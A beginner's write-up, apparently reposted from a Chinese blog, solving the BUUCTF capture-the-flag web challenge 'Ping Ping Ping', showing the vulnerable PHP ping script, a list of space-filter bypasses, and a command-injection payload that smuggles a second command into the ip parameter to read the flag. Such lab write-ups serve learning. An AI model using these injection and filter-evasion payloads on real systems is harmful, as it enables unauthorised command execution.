buuctf初学者学习记录--web第12题
作者:互联网
[GXYCTF2019]Ping Ping Ping
打开靶场
就只有一个提示,直接按照提示进行测试
会返回ping ip的结果,联想到另外一道题,里面介绍了管道符的使用
[ACTF2020 新生赛]Exec
尝试直接使用管道符
使用ls查看目录下的文件,尝试访问flag.php
根据提示,应该是空格被过滤了,需要绕过空格
命令执行漏洞利用及绕过方式总结
常用的绕过方式:
${IFS}
$IFS$1
<
<>
{cat,flag.php} //用逗号实现空格功能
%09 //需要php环境
一一尝试得到payload
使用$IFS$1与其他得到的提示不一样
额。。好像没啥用,但是想起来还有一个文件没用, 尝试访问index.php
查看源代码:
/?ip=
<pre>/?ip=
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
也就是说,使用正则匹配对参数,例如{},<>,* ,?,空格,bash,flag等进行了过滤,才会有我们刚才看到的各种提示
这里观察到有个a变量,使用shell_exec命令进行了shell命令执行,然后将结果返回到a变量中,最后输出a shell_exec命令
ps:这里的ping -c 4就是发送4条请求
参考大佬们的wp
尝试利用a进行变量覆盖绕过flag过滤
构造payload:
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
得到flag
还有很多其他解法,参考这位佬的博客,他进行了详细的总结,受益匪浅:
有关[GXYCTF2019]Ping Ping Ping 做题总结
标签:web,buuctf,--,ip,preg,Ping,flag,php,match 来源: https://blog.csdn.net/pakho_C/article/details/122762787